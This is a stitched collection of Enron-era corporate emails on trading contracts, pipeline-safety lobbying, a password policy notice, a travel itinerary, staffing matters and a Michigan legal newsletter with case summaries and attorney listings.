going to the PUC and getting a taxpayer bailout. 
The ratepayer has already paid for this energy under a contract that 
utilities struck with the people of the state of California. Any additional 
payment by the ratepayer is a financial bailout. Any prudent investor would 
ask what the return will be before handing over billions of dollars. The 
ratepayer deserves an answer, as well as some equity or other consideration. 
George Miller is a Democratic congressman from Martinez. 

Kevin:  We are holding up the execution of the ISDA Master Agreement until 
you finalize your piece.  The DATE of the earliest trade between ENA and HS 
Resources is important because we will use that date for the ISDA.  Please 
verify that date as soon as possible.  Thanks.  Sara

	Kevin Meredith@ENRON
	06/26/2000 03:32 PM
		 
		 To: Sara Shackleton/HOU/ECT@ECT, John Suttle/HOU/ECT@ECT
		 cc: Larry Joe Hunter/HOU/ECT@ECT
		 Subject: HS Resources

I have emailed Jim Piccone of HS Resources with a copy of the spreadsheet.  
My hope is that he and I can determine the cause of the discrepancies and 
resolve them as quickly as possible.  I will keep each of you posted as to 
the progress on this issue.  If there are any questions you would like me to 
ask him, please let me know.

Kevin

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            <p>We need your help!  You used StoneAge.com a while back to request information on a 2001 Chevrolet Tahoe 4dr LS. We sent your request to one of our accredited
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I guess Paul Choi spoke with Melissa Murphy when she was up here and told her 
the language looked fine on this confirmation. He reiterated that, and I'll 
fax the initialed copy back to you.

Thanks,
Kate

Stephanie Piwetz   01/29/2001 10:58 AM

cc:  

Subject: deal 501404.01 (language)

Kate, 

I will be faxing you a confirm that we received back executed.

The cp made some changes to the prices section.  Just wanted to get it 
approved by the Traders.
If so, can you please initial and fax back to 713-646-2443, so we can have 
the record in the system.

Thanks
Stephanie

Start Date: 1/30/02; HourAhead hour: 17;  No ancillary schedules awarded.  No variances detected.

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002013017.txt

print
----- Forwarded by Steven J Kean/NA/Enron on 10/16/2000 10:17 AM -----

	Jeffrey Keeler
	10/13/2000 12:28 PM
		 
		 To: Stanley Horton/Corp/Enron@Enron, Phil Lowry/OTS/Enron@ENRON, John 
Shafer/OTS/Enron@Enron, Shelley Corman/ET&S/Enron@ENRON, David L 
Johnson/OTS/Enron@ENRON, Louis Soldano/ET&S/Enron@ENRON, Colleen 
Raker/ET&S/Enron@ENRON, Michael Terraso/OTS/Enron@ENRON, Steven J 
Kean/NA/Enron@Enron, Richard Shapiro/NA/Enron@Enron, Joe 
Hillings/Corp/Enron@ENRON, Cynthia Sandherr/Corp/Enron@ENRON, Chris 
Long/Corp/Enron@ENRON, Clayton Seigle/HOU/ECT@ECT
		 cc: 
		 Subject: Pipeline safety legislation - update

Since the defeat of the Senate pipeline safety legislation earlier this week 
in the House, we have been working on strategies related to action that could 
occur before the end of the congressional session.  The following 
developments indicate that the legislation is still very much in play, but 
our primary concerns are making sure efforts going forward remain under 
control and preventing the passage of legislation that goes too far.

Developments:

House Republican leadership is not interested in pursuing the legislation any 
further, either through regular procedures or as an attachment to 
appropriations, "omnibus" or other must-pass measures.   They are somewhat 
angry at the industry for not being able to fight off advances made by Reps. 
Dingell and Oberstar, who were able to persuade enough Democrats to vote 
against the Senate bill so that it fell short of the 2/3 needed for passage 
under suspension of the rules.

Senate bill sponsors/supporters are extremely angry at House Democrats for 
killing the Senate legislation, and at the White House/DOT for not strongly 
promoting the Senate bill (which they previously had supported) and reigning 
in House Democrats.   Senator Patty Murray called the White House and 
expressed her concern, which prompted a series of meetings between staff for 
Senate and House Democrats and the White House to discuss a solution.   

In these meetings, House Democrats have proposed adding several provisions 
from the Dingell/Oberstar legislation to the Senate bill and moving that 
package on an omnibus or appropriations bill.   Sources close to Rep. Dingell 
indicate that they really do not want any bill at all, and are merely keeping 
up the pressure in an effort to see if they can get the Senate or industry to 
accept tougher provisions.

Senate Democrats (including Murray, Bingaman, and Breaux) are not accepting 
any possible amendments to the original Senate bill, and are opposed to 
changing the Senate bill at all.   However, Senator Murray and Republican 
Senator Slade Gorton (who has a tough election) both want to continue to 
pursue the Senate bill (unamended) as a rider to an omnibus/appropriations 
bill.    

The White House is looking to cover itself from a poor performance in the 
House, and is considering drafting an executive order that could be issued if 
no legislation passes at all.  It is unclear what could or would be contained 
in such an order, but the White House is indicating to Senate staff that it 
would be more like the Senate bill than the House bill.  We are working with 
sources close to the White House to confirm their strategy.

Strategy going forward:

Upon hearing that some industry associations were on Capitol Hill discussing 
"what industry could live with" in terms of provisions added to the Senate 
bill, I insisted (along with El Paso and others) that we not take such an 
approach, but rather remain consistent in our approach -- we support the 
Senate bill and only the Senate bill.   It was approved unanimously in the 
Senate and by 60% of the House, and if anything moves forward on an 
omnibus/appropriations bill, it should be the Senate bill.  Consistent with 
what our Senate friends are doing, we should not even recognize the 
Dingell/Oberstar legislation as a serious proposal, nor start accepting 
pieces of it as a compromise.

We will be shoring up support for our position of "if anything moves forward, 
it should be the Senate bill only" with Senate supporters and leadership in 
the House and Senate.  We will also be working to thank the 51 Democrats who 
supported us in the House, and make sure they have any cover they need in 
case their vote becomes an issue.   In support of Senator Gorton's election 
troubles, we will be working to try to get media placement of op-eds that 
support the efforts he has waged and make sure the House Democrats shoulder 
the blame for the bill's defeat.  In particular, we are hopeful that Senator 
McCain (who has been passionate about this issue) will write op-eds that can 
be placed to support Gorton and others in tough races who supported the 
Senate bill.

Congress' state of confusion over omnibus/appropriations bills and last 
minute politics causes the legislative activity to be extremely fluid and 
subject to change rapidly, so we will have no real certainty until the 
session is over (which now could be as late as October 20).  

I will keep you posted as changes and developments occur.

Jeff

http://health.yahoo.com/health/dc/003688/0.html		

maybe this is it?

Sue:

Per our phone conference with Steve Bowen last Friday, the 27th, please
find attached the Advanced Services FCC Order you requested.  This
established ISP traffic as interstate in nature and under the FCC's
jurisdiction.  The Order is at 13 FCC Rcd. 22, 466, In the Matter of GTE
Telephone Operating Cos, CC Docket No. 98-79, FCC 98-292, released
October 30, 1998.

This is probably more germane to current EBS issues than the Collo Order
sent Oct. 29, 2000 to you, and together should provide you with a sense
of current Federal issues.  Please let me know if you need additional 

We are also preparing the MSA language regarding the 10% interstate
traffic Rule and will send it this week.

Jeremy Meier
Blumenfeld & Cohen
 - FCC 98-97 MO&O

Start Date: 4/30/01; HourAhead hour: 14;  No ancillary schedules awarded.  No 

Schedules\2001043014.txt

     Details:

There will be a Staff Meeting with Kevin Presto TODAY in 32c2 from 4 - 5pm.

Thanks 

Steve --

here is another installment on the continuing California story.  There is
another cartoon idea here.  I am ready to get our cartoonist rolling, but
let me know if you like this or the previous idea.

--
Daniel Casse
615-297-5999
615-297-5908 (fax)

 - Jan9humor.DOC

So shall I get word out? I would actually prefer it if you sent a memo around. I'll (Jeanie/Amy!) draft it.
 
David
Sent: Tuesday, January 08, 2002 8:31 AM
To: Oxley, David
Subject: RE: NETCo promotions

Sounds good.  Probably less than 5 VP's.

From: Oxley, David 
Sent: Monday, January 07, 2002 5:25 PM

OK. I know that!
 
I wasn't planning to "promote" all the Managers to Director however. Just retitle them, leave their salaries as is. If we want to give them all bumps to $115 (from $95), then I'll start water dropping that.
 
I was assuming you wanted 2 or 3 new MD's, 5 or 10 new VP's and probably 50 or 60 other incidental changes on the support side between Specialists and Snr Directors (presuming we don't do away with titles for support folks).
 
David

Sent: Mon 1/7/2002 3:57 PM 
To: Oxley, David 
Cc: 

I do not see a Sitara deal ticket for Tagg #NR6345.A, a Trco Z6 sell to New 
Power for Mar and Apr 2001.

Did you read this?  This is stupid!  The only way that you will be able to=
=20
remember your password under these guidlines is to write it down.  I am sur=
e=20
there is NO security risk about leaving passwords on a sticky note slapped =
on=20
your monitor.

From:  Enron Announcements/Corp/Enron@ENRON=20
[mailto:IMCEANOTES-Enron+20Announcements_Corp_Enron+40ENRON@ENRON.com]  On=
=20
Behalf Of IT Security & Controls@ENRON
Sent: Thursday, March 08, 2001 4:42 PM
To: Enron Authenticated Corp Users@ENRON
Subject: Password Security Notice

For Password Renewals Only=20

IT Security & Controls =01) Password Security Notice
=20
Passwords
The key to maintaining information and system security is the use of=20
well-selected and guarded passwords.  Because your password is our first li=
ne=20
of defense, stronger password selection criteria will soon be implemented f=
or=20
all employees. =20

Password Policy

Passwords=01(
1. must be at least of eight characters in length.=20
2. must not contain names, userids, common English dictionary words, and=20
begin or end with a number.
3. must contain alphanumeric characters and contain at least one special=20
character. No more than fifty percent of the overall password can be in=20
English.
4. must not be reused or cyclical.=20
5. must be changed every 60 days.
6. must not be publicly displayed.
7. must not be shared with other users.
=20
Choosing a good password comes down to two things.  First, avoid common=20
everyday words a potential hacker=01,s software will be looking for.  Secon=
d,=20
keep your password  simple enough that you can remember it without having t=
o=20
write it down.=20

Please keep in mind that the Enron Code of Ethics holds employees responsib=
le=20
for password security.  IT Security & Controls conducts periodic audits to=
=20
ensure compliance with company policy.=20

http://itc.corp.enron.com/data/policiesandprocedures/ITPasswordScreenSaver/

For any problems encountered concerning password controls, please call your=
=20
appropriate Resolution Center (available: 24Hrs./day, 7 days/week).

Dear Daren Farmer (SkyMiles # 2341930101):

Thank you for your ticket purchase on delta.com. Below is the
itinerary information for your air travel.  We suggest that you
save this document for reference should you need to contact us
concerning your tickets or reservations.

PURCHASE INFORMATION
Your Delta Air Lines Confirmation Number is:     XC1MDZ

You have purchased airline tickets for the following passengers:

                                            SkyMiles #
Mr.   Daren Farmer                          2341930101   $    255.00
Mr.   Gary Hanks                            2339077915   $    255.00

Total Price:                                             $ 510.00

Your credit card will be charged the amount stated above for your
airline tickets.  Unless noted, all fares and rates are quoted in U.S.
dollars.

ITINERARY INFORMATION
Flight Number: Delta 1895
Departs: Houston (Bush Intercontl) (IAH)  15 Feb 01 at 02:40 pm
Arrives: Las Vegas (LAS)                  15 Feb 01 at 06:10 pm

Seats: Not Assigned and Not Assigned

Flight Number: Delta 1800
Departs: Las Vegas (LAS)                  18 Feb 01 at 01:10 pm
Arrives: Salt Lake City (SLC)             18 Feb 01 at 03:28 pm

Seats: 32C and 32D

Flight Number: Delta 1180
Departs: Salt Lake City (SLC)             18 Feb 01 at 04:35 pm
Arrives: Houston (Bush Intercontl) (IAH)  18 Feb 01 at 08:30 pm

Seats: 18D and 18E

Your Credit Card will be billed $ 510.00 and your Electronic Ticket
receipt/itinerary card mailed to:
Mr. Daren Farmer
5519 Clarkston
Spring, Tx   77379
Phone: 2812511793
Email: dfarmer@enron.com

If you have questions or concerns, please call Delta Air Lines at 800 
221-1212 with your Delta confirmation number available.
For non-U.S. based customers, please access
http://www.delta.com/care/addresses/international/index.jsp
the phone number of the Delta Air Lines Reservations Office for your country.

Thank you for making your travel reservations at delta.com.

LODGING RESERVATIONS - provided worldwide by PlacesToStay.com
Now that you've purchased your air travel at delta.com, check in at 
PlacesToStay.com to find your accomodations.  PlacesToStay.com is an easy way 
to reserve a room at one of 15,000 hotels, inns, resorts, and bed and 
breakfasts around the world.

Just visit: http://delta.placestostay.com

This E-mail message and its contents are copyrighted and are
proprietary products of Delta Air Lines, Inc. Any unauthorized use,
reproduction, or transfer of the message or its content, in any medium,
is strictly prohibited.

You have received this e-mail because you elected to take advantage
of Delta's itinerary confirmation e-mail program. If you would like to
take advantage of other Delta e-mail programs featuring special fares
and promotions, please visit:
https://www.delta.com/skymiles/sm_admin/email_signup/email_main.jsp

This is a post-only e-mail.  Please do not respond to this message.

Please activate my accessibility to manage the US WEST POWER PHYS SPREAD.

Thank you,

West Power Trading

This is to inform you that effective immediately, your human resource representative will be Hector McLouglin. Please channel any questions or concerns to him. I will be moving over to service corporate. I would like to take this opportunity to tell you what an honor it has been servicing you. 

Regards
Frank

The  memo was very helpful.  It would be great to meet in person and discuss 
issues. I'm out of town now, but I believe either the 8th or 9th would be 
great.

Thanks,

Kay

"Wilson Montjoy" <wmontjoy@brunini.com> on 05/03/2001 03:42:31 PM
cc:  

Subject: Clarksdale

Kay,

I got your email about the 1 month contract, and I hope you got a memo last 
Friday from John Brunini giving you our research to date. I may be in Houston 
next week (probably the 8th or 9th) and possibly again early the following 
week. Would it make sense for us to try to visit on this matter when I'm in 
town? If so, when might you be available?

Wilson

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Thanks for your note. I want to wish you the best of luck in EES. As far as RAC's issues with EES, I would suggest getting together with Tribolet and getting some of the lists that have been put together as part of the task force. I would also suggest attending the task force meeting, providing EES management is agreeable, to get a better picture of what is going on.

Again, I hate to see you go but it will still be value added to RAC and Enron. Have fun!!

Rick

One of your friends sent this email through our website.
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=09=09Need  to refer a case? See today's Fields of Practice  Listings:=20
=09=09
=09=09ADR/Arbitration/Mediation =20
=09=09 =20
=09=09Administrative  Law =20
=09=09Adoption =20
=09=09 =20
=09=09Alternative  Dispute Resolution =20
=09=09 =20
=09=09Antitrust/Advertising/Trade  Regulation=20
=09=09 =20
=09=09Appeals =20
=09=09 =20
=09=09Appellate  Law=20
=09=09 =20
=09=09Automotive  Warranty Law=20
=09=09 =20
=09=09Business  & Taxation=20
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=09=09Construction  Law=20
=09=09 =20
=09=09Copyrights =20
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=09=09Criminal  Law=20
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=09=09Environmental  Law=20
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=09=09Federal  False Claims (Qui Tam) Actions  =20
=09=09Health  Law=20
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=09=09Hospital  & Medical Negligence=20
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=09=09Immigration  & Naturalization=20
=09=09 =20
=09=09Immigration  Law=20
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=09=09Insurance  Law=20
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=09=09Intellectual  Property Law =20
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=09=09Labor  & Employment Law=20
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=09=09Medical  Malpractice=20
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=09=09Tax  Litigation & Disputes=20
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=09=09Transportation  Law=20
=09=09 =20
=09=09Worker's  Compensation  =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09?newsandmoves
=09=09
=09=09See  this week's News  & Moves for information about your colleagues.
=09=09
=09=09
=09=09
=09=09
=09=09barevents?=20
=09=09
=09=09See  today's  Bar  Events section for news about upcoming programs an=
d =20
activities: =20
=09=09
=09=09PCLS/MAMA  Conference=20
=09=0927th  Annual Intellectual Property Law Workshop
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
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=09=09
=09=09
=09=09
=09=09case  summaries =20
=09=09
=09=09
=09=09
=09=09Constitutional  Law=20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Back  to Quicklinks
=09=09
=09=09Issues:  Power of referendum in connection with  legislation modifyin=
g the=20
standards for issuance of concealed weapons  permits; Writ of mandamus;=20
Legislation appropriating funds to a  state institution; Const. 1963, art 2=
,=20
o 9
=09=09Court:  Michigan Court of Appeals (Published)
=09=09Case  Name: Michigan United Conservation Clubs v. Secretary of State
=09=09e-Journal  Number: 10251
=09=09Judge(s):  O=01,Connell, McDonald, and Meter
=09=09
=09=09Plaintiffs  were denied a writ of mandamus ordering defendants to rej=
ect a=20
petition  for referendum on legislation modifying the standards for issuanc=
e =20
of concealed weapons permits, because the public act at issue was  not an a=
ct=20
making appropriations to state institutions as contemplated  by Const. 1963=
,=20
art 2, o 9. The court found that the appropriation  of $1 million was=20
directed at funding activities specifically associated  with the issuance o=
f=20
concealed weapon permits, rather than sustaining  the existence of the=20
Department of State Police. Absent any indication  that the $1 million=20
appropriation or the fees paid by virtue of  another statute were aimed at=
=20
sustaining the core functions of the  Department of State Police, the court=
=20
concluded that the act at  issue was not one making appropriations to a sta=
te=20
institution and  was therefore, subject to referendum.=20
=09=09
=09=09Full  Text Opinion
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Criminal  Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Issues:  Admissibility of blood alcohol test results where defendants=
  were=20
not under arrest at the time of the tests (MCL 257.625a(6)(e));  Whether th=
e=20
tests were for medical treatment purposes; Whether defendant  driver was=20
"involved in" the accident for purposes of test; Prosecutorial  misconduct;=
=20
Admissibility of photographs of victim and rescue of  others injured in the=
=20
accident; Denial of directed verdict on second-degree  murder charge; Jury=
=20
instructions; Sentencing
=09=09Case  Name: People v. Aldrich
=09=09e-Journal  Number: 10252
=09=09Judge(s):  Kelly and Collins; Concurrence - Whitbeck
=09=09
=09=09Defendants'  blood alcohol test results were admissible, although the=
y were=20
not  under arrest at the time their blood alcohol levels were tested, =20
because the applicable statute does not mention arrest and provides  for th=
e=20
admissibility of blood alcohol test results in any civil  or criminal=20
proceeding where the blood upon which the test was run  was drawn "for=20
medical treatment" from a driver "involved in" an  accident. By its plain=
=20
terms, subsection (6)(e) concerns tests done  on blood drawn not for legal=
=20
responsibility reasons, but for medical  purposes, and is not limited to=20
those under arrest. The testimony  presented at trial indicated that the=20
medical procedures performed  on defendants, including the withdrawal of=20
their blood, were done  for medical reasons. Although one of the defendants=
=20
claimed that  he was not "involved in" the accident because his vehicle did=
=20
not  come in contact with another vehicle, the defendant was involved  in t=
he=20
accident because his vehicle played a part in the accident.  Affirmed.
=09=09
=09=09
=09=09Back  to Quicklinks =20
=09=09
=09=09Issues:  Ineffective assistance of counsel for failure to object to o=
ther =20
acts evidence and defendant=01,s sentence; Other acts evidence; Proportiona=
lity =20
of sentence of 18 months to 10 years=01, imprisonment as an habitual  offen=
der,=20
third offense for conviction of receiving and concealing  stolen property=
=20
over $100
=09=09Court:  Michigan Court of Appeals (Unpublished)
=09=09Case  Name: People v. Ludwick
=09=09e-Journal  Number: 10243
=09=09Judge(s):  Memorandum =01) Holbrook, Jr., Hood, and Griffin
=09=09
=09=09Review of the  record revealed that defense counsel did fail to objec=
t to=20
testimony  regarding defendant=01,s prior record, but also elicited testimo=
ny =20
in accordance with his theory of the case. Witness-Smith testified  that he=
=20
saw defendant with the stolen ladder on top of a vehicle  and the stolen=20
tools were in the trunk of the vehicle. Defense counsel  elicited testimony=
=20
that defendant was involved with Smith=01,s former  girlfriend. Defense cou=
nsel=20
also established that the tools were  taken from a locked truck, that the=
=20
truck was not vandalized in  the process so that it appeared access was=20
gained through a key,  and that Smith had a key to the truck as an employee=
.=20
Defense counsel  attempted to discredit Smith=01,s testimony by showing tha=
t he=20
had  a motive for wanting defendant returned to prison. Defendant=01,s=20
conviction  and sentence were affirmed.
=09=09
=09=09
=09=09
=09=09Issues:  Sufficiency of evidence to support defendants=01, conviction=
s for=20
conspiracy  and possession with the intent to distribute cocaine; Motions=
=20
for  a judgment of acquittal; Admission of co-conspirator=01,s testimony  u=
nder=20
Fed. R. Evid. 801(d)(2)(E); Admission of computer records;  Speedy Trial Ac=
t;=20
Admission of evidence of key fitting lock in defendant's  door; Sentencing
=09=09Court:  U.S. Court of Appeals Sixth Circuit
=09=09Case  Name: United States v. Salgado
=09=09e-Journal  Number: 10250
=09=09Judge(s):  Graham and Batchelder; Concurrence =01) Cole=20
=09=09
=09=09There was sufficient  evidence to support defendants=01, convictions =
for=20
conspiracy and possession  with the intent to distribute cocaine. A rationa=
l=20
trier of fact  could find from the evidence presented at trial that an=20
agreement  to possess with the intent to distribute cocaine existed and tha=
t =20
defendants and codefendants knowingly participated in that conspiracy.  The=
=20
jury could infer that defendant-Salgado knew he was delivering  cocaine bas=
ed=20
on his evasive statements to the police concerning  who gave him the car an=
d=20
the make of the car, and from the fact  that he met first with one of the=
=20
codefendants despite his statement  that he came to Louisville to visit his=
=20
cousin. Salgado was also  present at the codefendant=01,s residence at the=
=20
scheduled time of  the sale of cocaine. The jury could reasonably find from=
=20
the circumstances  that defendant-Jambu brought the cocaine to the residenc=
e.=20
Jambu,  left his apartment, drove to one of the codefendant=01,s homes, ope=
ned =20
the trunk of his car, looked to his left and to his right, and appeared  to=
=20
carry something into the house, brought a package into the kitchen,  and=20
stated, "I brought the shit," referring to the cocaine. Affirmed.
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Municipal
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09This summary  also appears under Real Property
=09=09
=09=09Issues:  Denial of application for a special land use permit; Plainti=
ff=01,s =20
failure to act within 60 days of receipt of defendant=01,s preliminary  pla=
n of=20
development; Mobile Home Commission Act (MHCA); The Township  Zoning Act
=09=09Case  Name: Silver Creek Twp. v. Corso
=09=09e-Journal  Number: 10253
=09=09Judge(s):  Per Curiam - Wilder, Hood, and Cavanagh
=09=09
=09=09The trial court  erred in granting summary disposition in favor of de=
fendant=20
and  holding that plaintiff-township was required to respond to defendant=
=01,s =20
preliminary plan of development in accordance with the MHCA because  (1)=20
zoning laws regulate the development and proper use of land,  not the MHCA,=
=20
(2) the decision of the township=01,s zoning board or  zoning board of appe=
als=20
regarding a zoning request was final, and  (3) the MHCA provides that it=20
shall not be construed to prohibit  a municipality from enforcing its local=
=20
ordinances. Plaintiff=01,s  zoning board had previously denied defendant=01=
,s=20
application for a  special land use permit regarding the subject property f=
or=20
the purpose  of developing a mobile home park. Defendant submitted a=20
preliminary  plan of his proposed mobile home park in an apparent attempt t=
o =20
circumvent the application of the zoning ordinance and effect of  the zonin=
g=20
board=01,s denial of his request for a special land use  permit. Reversed a=
nd=20
remanded.
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Real  Property=20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09This summary  also appears under Municipal
=09=09
n of=20
=09=09
=01,s =20
=20
als=20
=20
,s=20
or=20
o =20
g=20
nd=20
remanded.
=09=09
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=09=09
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=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09fields  of practice listings
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09ADR/Arbitration/Mediation
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09ASHER N.  TILCHIN, a  member of the American College of Civil Trial M=
ediators=20
and Michigan  Arbitration and Mediation Association provides mediation for=
=20
pre,  early, and matured lawsuits. He has been a successful mediator since =
=20
1991. Tilchin also provides arbitration services as a single or  multi-pane=
l=20
arbitrator. Cases involving construction, real estate,  commercial=20
transactions, and legal malpractice invited. Asher N.  Tilchin, 31731=20
Northwestern Hwy., Suite 106, Farmington Hills, MI  48334, (248)855-0995 or=
=20
Fax (248) 855-0850, e-mail antilchin@aol.com
=09=09
=09=09Back to Quicklinks =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Administrative  Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09JAMES R. VIVENTI, James R Viventi PLLC, 3670 Powderhorn  Drive, Okemo=
s, MI=20
48864-5924, Phone: (517) 381-0670, FAX: (517)  381-0671.=20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Adoption
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09MONICA FARRIS LINKNER, Sommers, Schwartz, Silver & Schwartz,  PC, 200=
0 Town=20
Center, Suite 900, Southfield, MI 48075-1100, Phone:  (248) 746-4011, FAX:=
=20
(248) 936-1976, e-mail: mlinkner@s4online.com. =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Alternative  Dispute Resolution
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09DONNA CRAIG, Donna Craig & Associates PLC, 999 Haynes Street,  Suite =
245,=20
Birmingham, MI 48009, Phone: (248) 682-7750, FAX: (248)  682-2376, e-mail:=
=20
craigassoc@earthlink.net.  Visit www.adr-resource.com
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Antitrust/Advertising/Trade  Regulation
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09DAVID G.  CHARDAVOYNE specializes  in the regulation of business comp=
etition,=20
including: antitrust  law, unfair competition, and the regulation of=20
advertising, labeling,  and other trade practices. Former Chairperson of=20
State Bar antitrust  and trade regulation section, more than 15 years'=20
experience in  this field. Will consult regarding antitrust issues=20
(monopolies,  mergers, price fixing, exclusive dealing, tying arrangements,=
=20
price  discrimination, dealer termination, market allocation); premerger =
=20
notice filings under Hart-Scott-Rodino Act; discussions with State  and=20
Federal regulatory agencies (FTC, Justice Department, Attorney  General);=
=20
compliance with laws regulating advertising (substantiation  of claims,=20
product labels, consumer price displays); and all other  matters relating t=
o=20
business competition. David G. Chardavoyne,  26755 La Muera Ave., Farmingto=
n=20
Hills, MI 48334-4613, (248) 477-6308,  e-mail chardavoyne@aol.com
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Appeals
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09LAURIE S. LONGO, 214 South Main, Suite 210, Ann Arbor, MI  48104-2122=
, Phone:=20
(734) 913-5619, e-mail: 42203@msn.com.  Visit http://michiganappeals.com. =
=20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Appellate  Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09SAFFORD & BAKER, PLLC, 40900 Woodward Avenue, Suite 110, Bloomfield  =
Hills,=20
MI 48304, Phone: (248) 646-9100, FAX: (248) 646-9102. Visit =20
www.saffordbaker.com
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Automobile  Warranty Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09LIBLANG  & ASSOCIATES:  Specializing in "Lemon Law", UCC, Magnuson-Mo=
ss,=20
Odometer  Fraud and Consumer Protection Act. Available for trials,=20
consultations  or referrals. Cases accepted statewide. Over 17 years and=20
5,000  cases. Michigan's most experienced lemon law attorneys, Dani K. =20
Liblang and Scott J. Sinkwitts. Please call (248) 540-9270 or e-mail  =20
NoLemons@aol.com=20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Business  & Taxation
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09LAW OFFICES  OF RALPH W. PEZDA.  Oakland County practitioner with an =
LL.M.=20
degree in taxation from  New York University will assist your clients or fi=
rm=20
with taxation,  business, interdisciplinary, and white collar criminal=20
matters.  Referrals paid. 27700 Northwestern Hwy., Suite 411, Southfield,  =
MI=20
48034. (248) 352-5632. E-mail address: rwp@cdlcorp.com
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Construction  Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09JOHN V.  TOCCO, attorney,  construction engineer, and civil engineeri=
ng=20
professor, with over  twenty years experience in the construction industry,=
=20
provides mediation  and arbitration services for all construction matters.=
=20
Also provides  litigation support and claims analysis. Cases accepted=20
statewide.  Call (313) 406-2040 for CV, or review Profile at=20
www.johntocco.com  E-mail john@johntocco.com
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Copyrights
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09CAROL R. SHEPHERD, Arborlaw Associates, PLLC, 320 S Main  St, PO Box =
8403,=20
Ann Arbor, MI 48107-8403, Phone: (734) 668-4646,  FAX: (734) 822-4646,=20
e-mail: shepherd@arborlaw.com. =20
=09=09
=09=09
=09=09
=09=09
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=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09F. RANDALL KARFONTA, Attorney @ Law, 113 North Main, PO  Box 565, Lel=
and, MI=20
49654, Phone: (231) 256-2200. Visit http://www.leelanau.com  or=20
http://www.leelanau.com/professional/karfonta. =20
=09=09
=09=09
=09=09RAYMOND A. CASSAR, Law Offices of Raymond A. Cassar, 30665  Northwest=
ern Hwy,=20
Suite 100, Farmington Hills, MI 48334, Phone: (248)  855-0911, FAX: (248)=
=20
855-9523, e-mail: rcassar@aol.com.  Additional offices located in Oakland=
=20
County (248) 855-0911, and Wayne  County (313) 278-8811. Visit=20
www.crimlawattorney.com. =20
=09=09
=09=09
=09=09TALPOS & ARNOLD PC, 2855 Coolidge Road, Suite 109, Troy, MI  48084-32=
15,=20
Phone: (248) 643-4515, FAX: (248) 643-4797, e-mail: jctalpos@aol.com.  Visi=
t=20
www.Mich-Lawyer.com. =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Environmental  Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09DEAN & FULKERSON, PC, Richard A. Barr, rbarr@dflaw.com  or James K. O=
'Brien,=20
jobrien@dflaw.com,  801 W Big Beaver, Suite 500, Troy, MI 48084-4767, Phone=
:=20
(248) 362-1300,  FAX: (248) 362-1358.=20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Family  Law
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09JOHN G. MAKRIS, 802 E Big Beaver Rd, Troy, MI 48083-1404,  Phone: (24=
8)=20
528-1811, FAX: (248) 524-0973, e-mail: jgmakris@altavista.com. =20
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09Federal  False Claims (Qui Tam) Actions
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09HaronDAVID  HARON represents  whistleblowers in civil false claims ac=
tions=20
and works with referring  attorneys nationwide who specialize in employment=
=20
law and other  fields. Under the federal False Claims Act, private=20
individuals  with knowledge of fraud against federal programs can file suit=
=20
on  behalf of the United States and receive a substantial share of any =20
recovery. Representing such claimants, Mr. Haron has recovered millions  of=
=20
dollars in Medicare and Medicaid funds that had been fraudulently  obtained=
=20
by health-care providers, primarily through abusive billing  practices. To=
=20
learn more, visit his qui tam web site at www.QuiTamOnline.com  or contact=
=20
him directly by e-mail at dharon@fsh-law.com  or phone (248) 952-0400 at=20
Frank, Stefani, Haron & Hall  in Troy http://www.fsh-law.com/
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09
=09=09KENNETH R. MARCUS, representing provider organizations and  professio=
nals=20
since 1984 in Blue Cross/Medicaid/Medicare Audit Defense,  Payment Appeals,=
=20
Stark Act Compliance, Managed Care Contracting,  Physician Transactions,=20
Corporate Law. I work collaboratively with  general counsel. Phone=20
